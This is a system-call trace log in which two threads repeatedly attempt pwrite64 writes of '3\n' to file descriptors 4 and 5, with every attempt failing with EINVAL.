[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
